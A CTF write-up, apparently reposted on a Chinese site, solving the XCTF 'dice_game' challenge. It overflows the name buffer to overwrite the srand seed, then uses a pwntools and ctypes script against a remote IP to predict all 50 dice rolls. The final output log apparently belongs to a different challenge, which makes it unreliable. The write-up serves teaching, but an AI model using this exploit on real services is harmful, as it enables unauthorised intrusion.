攻防世界 dice_game

dice_game

??????dice_game

(1)

motaly@motaly-VMware-Virtual-Platform:~/桌面$ file game
game: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=25432b87a385dc5acec03263b2e3746f287ed159, stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=game
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		3		game

(2)

用ida打開,無法反匯編,看main函數的匯編碼

__int64 __fastcall main(int a1, char **a2, char **a3)
{char buf[55]; // [rsp+0h] [rbp-50h] BYREFchar v5; // [rsp+37h] [rbp-19h]ssize_t n49; // [rsp+38h] [rbp-18h]unsigned int seed[3]; // [rsp+40h] [rbp-10h]int n50; // [rsp+4Ch] [rbp-4h]memset(buf, 0, 0x30uLL);*(_QWORD *)seed = time(0LL);printf("Welcome, let me know your name: ");fflush(stdout);n49 = read(0, buf, 0x50uLL);if ( n49 <= 49 )buf[n49 - 1] = 0;printf("Hi, %s. Let's play a game.\n", buf);fflush(stdout);srand(seed[0]);n50 = 1;v5 = 0;while ( 1 ){printf("Game %d/50\n", n50);v5 = sub_A20();fflush(stdout);if ( v5 != 1 )break;if ( v5 ){if ( n50 == 50 ){sub_B28(buf);break;}++n50;}}puts("Bye bye!");return 0LL;
}

看到這里開始有一個read函數,向buf讀入最大80個字節,但buf大小為55,所以存在緩沖區溢出

在下面有用srand函數設置偽隨機數生成器的種子,參數是seed

然后進入循環,有一個sub_A20函數給v5參數

__int64 sub_A20()
{__int16 n6; // [rsp+Ch] [rbp-4h] BYREF__int16 n6_1; // [rsp+Eh] [rbp-2h]printf("Give me the point(1~6): ");fflush(stdout);_isoc99_scanf("%hd", &n6);if ( n6 > 0 && n6 <= 6 ){n6_1 = rand() % 6 + 1;if ( n6 <= 0 || n6 > 6 || n6_1 <= 0 || n6_1 > 6 )_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");if ( n6 == n6_1 ){puts("You win.");return 1LL;}else{puts("You lost.");return 0LL;}}else{puts("Invalid value!");return 0LL;}
}

這個函數主要是看我們輸入的值n6和隨機生成的值n6_1是否相同,相同就會返回1值給v5

當v5等于1時,就進入if判斷中,當我們50次都成功時,有一個sub_B28函數,會輸出flag

int __fastcall sub_B28(const char *a1)
{char s[104]; // [rsp+10h] [rbp-70h] BYREFFILE *stream; // [rsp+78h] [rbp-8h]printf("Congrats %s\n", a1);stream = fopen("flag", "r");fgets(s, 100, stream);puts(s);return fflush(stdout);
}

(3)

總的這個程序是一個小游戲,當我們輸入的值與程序隨機生成的值相同時,算贏得游戲,贏了50次后,就會給flag

思路:

1.在程序開頭有一個輸入點并存在棧溢出,我們可以利用這個點來改變隨機數生成器的種子,使其相同

原因:

rand函數生成的隨機數并不是真正意義上的隨機,而是偽隨機,當設定的種子相同時,使用相同算法生成的隨機數序列就是固定的

當種子相同后,本地和服務端的偽隨機數生成器就會從相同的起始狀態開始工作,進而生成相同的隨機數序列

看堆棧情況,可以看到輸入點buf離seed距離是0x40,所以通過覆蓋0x40來改變seed值

-0000000000000050 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000050 // Frame size: 50; Saved regs: 8; Purge: 0
-0000000000000050
-0000000000000050     char buf[55];
-0000000000000019     _BYTE var_19;
-0000000000000018     _QWORD var_18;
-0000000000000010     unsigned int seed[3];
-0000000000000004     _DWORD var_4;
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

2.然后我們要導入ctypes庫,來使得在python中實現對C語言函數的引用

完成隨機數的生成

(4)

編寫

from pwn import *
from ctypes import *io = remote('223.112.5.141' ,52524)
libc = cdll.LoadLibrary("libc.so.6")payload = b"a" * 0x40 + p64(0)
io.sendlineafter("name: ", payload)
list = []
for i in range(50):list.append(libc.rand()%6+1)
print(list)
for point in list:io.sendlineafter("point(1~6): ", str(point))
io.interactive()

(5)

連接得到flag

[*] Switching to interactive mode
[DEBUG] Received 0x1a bytes:b'Please enter your string: '
Please enter your string: [DEBUG] Received 0x6c bytes:b'\n'b'Okay, time to return... Fingers Crossed... Jumping to 0x80485cb\n'b'flag{5bde2e60-3032-4e77-b8ad-371a2483f030}\n'Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
flag{5bde2e60-3032-4e77-b8ad-371a2483f030}
[DEBUG] Received 0x2b bytes:b'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/81298.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/81298.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/81298.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Astral Ascent 星界戰士(星座上升) [DLC 解鎖] [Steam] [Windows SteamOS macOS]

Astral Ascent 星界戰士&#xff08;星座上升&#xff09; [DLC 解鎖] [Steam] [Windows & SteamOS & macOS] 需要有游戲正版基礎本體&#xff0c;安裝路徑不能帶有中文&#xff0c;或其它非常規拉丁字符&#xff1b; DLC 版本 至最新全部 DLC 后續可能無法及時更新文章…

git中reset和checkout的用法

git reset&#xff1a;重置分支的歷史與工作區? 核心作用??&#xff1a;移動當前分支的指針&#xff08;即改變分支的歷史&#xff09;&#xff0c;并可選地修改暫存區&#xff08;Index&#xff09;和工作目錄&#xff08;Working Directory&#xff09;。常用于撤銷提交或…

權限提升—Linux提權內核溢出漏洞輔助項目

前言 今天開啟Linux提權的篇章&#xff0c;主要是講一下Linux的內核漏洞提權&#xff0c;利用方式和Windows系統漏洞提權差不多&#xff0c;也是網上的項目掃一下&#xff0c;然后根據漏洞編號去找exp即可。 信息收集 首先要說一下Linux用戶的權限劃分。 系統用戶&#xff…

React Native Redux 使用指南 redux-toolkit

React Native Redux 使用指南 redux-toolkit 一個可預測和可維護的全局狀態管理 JavaScript 庫 Redux 和 React-Redux以及**reduxjs/toolkit 的關系&#xff1a;** Redux、React-Redux、reduxjs/toolkit 是 React 生態中狀態管理的「黃金三角組合」&#xff0c;它們的關系可…

JVM——Java 虛擬機是如何加載 Java 類的?

引入 在 Java 世界的底層運作中&#xff0c;類加載機制扮演著一個既神秘又關鍵的角色。它就像是一個精心設計的舞臺幕后 machinery&#xff0c;確保了 Java 程序能夠順利運行。今天&#xff0c;我們就深入探索 Java 虛擬機&#xff08;JVM&#xff09;是如何加載 Java 類的。 …

清華團隊提出時序聚類數據庫內高效方案,已被SIGMOD 2025接收

時間序列聚類是挖掘物聯網等場景下頻繁模式的關鍵技術&#xff0c;但現有SOTA方法&#xff08;如K-Shape&#xff09;面臨兩大瓶頸&#xff1a;1&#xff09;傳統數據庫因LSM-Tree存儲導致時間戳無序&#xff0c;難以直接支持高效聚類&#xff1b;2&#xff09;跨時間范圍查詢需…

【阿里云大模型高級工程師ACP學習筆記】2.8 部署模型

一、學習目標 特別說明:這一章節是2025年3月官方重點更新的部分,幾乎對內容重新翻新改造了一遍,重點突出了對于如何結合不同的阿里云產品來部署大模型進行了更加詳細的介紹和對比,這里整理給大家,方便大家參考。 在備考阿里云大模型高級工程師ACP認證的過程中,學習《2.8 …

第T10周:數據增強

&#x1f368; 本文為&#x1f517;365天深度學習訓練營 中的學習記錄博客&#x1f356; 原作者&#xff1a;K同學啊 從 tensorflow.keras 中導入 layers 模塊&#xff0c;包含了常用的神經網絡層&#xff0c;用來搭建模型結構。 檢查并列出系統中可用的物理 GPU 設備&#xff…

uniapp 支付寶小程序自定義 navbar 無效解決方案

如圖&#xff1a; uniapp編譯到支付寶小程序隱藏默認的導航欄失效了 解決方案&#xff1a; 在 pages.json 文件中找到 globalStyle 中加入以下代碼&#xff1a; "mp-alipay": {"transparentTitle": "always","titlePenetrate":…

vue2 el-element中el-select選中值,數據已經改變但選擇框中不顯示值,需要其他輸入框輸入值才顯示這個選擇框才會顯示剛才選中的值

項目場景&#xff1a; <el-table-column label"稅率" prop"TaxRate" width"180" align"center" show-overflow-tooltip><template slot-scope"{row, $index}"><el-form-item :prop"InquiryItemList. …

centos7 離線安裝python3 保留python2

一、事前準備&#xff1a; &#xff08;1&#xff09;查看centos具體版本 cat /etc/redhat-releaseCentOS Linux release 7.4.1708 (Core) &#xff08;2&#xff09;查看linux中當前python版本 centos7 默認安裝python2.7.5 &#xff08;3&#xff09;查看python3的依賴&#…

十三種通信接口芯片——《器件手冊--通信接口芯片》

目錄 通信接口芯片 簡述 基本功能 常見類型 應用場景 詳盡闡述 1 RS485/RS422芯片 1. RS485和RS422標準 2. 芯片功能 3. 典型芯片及特點 4. 應用場景 5. 設計注意事項 6. 選型建議 2 RS232芯片 1. RS232標準 2. 芯片功能 3. 典型芯片及特點 4. 應用場景 5. 設計注意事項 6…

2025年RAG技術發展現狀分析

2025年&#xff0c;大模型RAG&#xff08;檢索增強生成&#xff09;技術經歷了快速迭代與深度應用&#xff0c;逐漸從技術探索走向行業落地&#xff0c;同時也面臨安全性和實用性的新挑戰。以下是其發展現狀的綜合分析&#xff1a; 一、技術架構的持續演進 從單一到模塊化架構 …

case和字符串操作

使用if選擇結構 if [];then elif [];then #注意這個地方,java是else if else ; fi 使用for循環結構 使用for循環&#xff0c;語法結構如下所示&#xff1a; for 變量名 in 值1 值2 值3 #值的數量決定循環任務的次數 do命令序列 done#循環輸出1到10 for i in {1..10} #注…

Stm32 燒錄 Micropython

目錄 前言 準備工作 開始操作 問題回顧 后記 前言 去年曾經嘗試Pico制作openmv固件&#xff0c;由于知識儲備不夠最后失敗了&#xff0c;留了一個大坑&#xff0c;有了前幾天的基礎&#xff0c;慢慢補齊知識&#xff0c;最近這一周一直在學習如何編譯Stm固件并燒錄到單片機…

鹽化行業數字化轉型規劃詳細方案(124頁PPT)(文末有下載方式)

資料解讀&#xff1a;《鹽化行業數字化轉型規劃詳細解決方案》 詳細資料請看本解讀文章的最后內容。 該文檔聚焦鹽化行業數字化轉型&#xff0c;全面闡述了鹽化企業信息化建設的規劃方案&#xff0c;涵蓋戰略、架構、實施計劃、風險及效益等多個方面&#xff0c;旨在通過數字化…

2025年人工智能火爆技術總結

2025年人工智能火爆技術總結&#xff1a; 生成式人工智能 生成式人工智能可生成高質量的圖像、視頻、音頻和文本等多種內容。如昆侖萬維的SkyReels-V2能生成無限時長電影&#xff0c;其基于擴散強迫框架&#xff0c;結合多模態大語言模型和強化學習等技術&#xff0c;在運動動…

邊緣計算革命:大模型輕量化部署全棧實戰指南

當ResNet-152模型能在樹莓派4B上實現每秒27幀實時推理時&#xff0c;邊緣智能時代真正到來。本文解析從模型壓縮到硬件加速的完整技術棧&#xff0c;實測Transformer類模型在移動端的部署時延可壓縮至16ms&#xff0c;揭示ARM芯片實現INT4量化的工程秘訣與十種典型場景優化方案…

邊緣計算:數字世界的”末梢神經系統”解析-優雅草卓伊凡

邊緣計算&#xff1a;數字世界的”末梢神經系統”解析-優雅草卓伊凡 一、邊緣計算深度解析 1.1 邊緣計算的定義與架構 邊緣計算&#xff08;Edge Computing&#xff09;是一種分布式計算范式&#xff0c;它將數據處理能力從傳統的集中式云數據中心推向網絡邊緣&#xff0c;更…

面試手撕——迭代法中序遍歷二叉樹

思路 訪問順序和處理順序不一致導致迭代法難寫&#xff0c;體現在總要先遍歷根節點&#xff0c;才能訪問左右孩子&#xff0c;用null標記&#xff0c;null標記的節點表示已經訪問過了&#xff0c;下一次可以處理&#xff0c;所以在當前棧頂節點不是null的時候&#xff0c;都要…